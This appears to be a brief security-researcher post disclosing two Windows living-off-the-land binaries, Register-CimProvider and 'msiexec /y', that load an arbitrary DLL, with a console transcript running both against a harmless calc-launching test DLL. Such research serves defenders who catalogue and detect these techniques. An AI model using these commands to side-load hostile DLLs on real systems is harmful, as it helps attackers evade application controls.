1.5 #LOLBins not yet in @Oddvarmoe 's repository are Register-CimProvider and "msiexec /y" and "/z" (I count this as half, as this is just additional msiexec functionality). Both of these allow you to load an arbitrary dll.

```
Microsoft Windows [Version 10.0.16299.371]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\philip>msiexec /y "C:\Users\philip\Desktop\runcalc\x64\Release\runcalc.dll"

C:\Users\philip>Register-CimProvider -Path "C:\Users\philip\Desktop\runcalc\x64\Release\runcalc.dll"
'Namespace' is not specified.
'ProviderName' is not specified.
'MI_Main' is not exported by provider 'C:\Users\philip\Desktop\runcalc\x64\Release\runcalc.dll'.

Try 'Register-CimProvider.exe -help' for help.

C:\Users\philip>
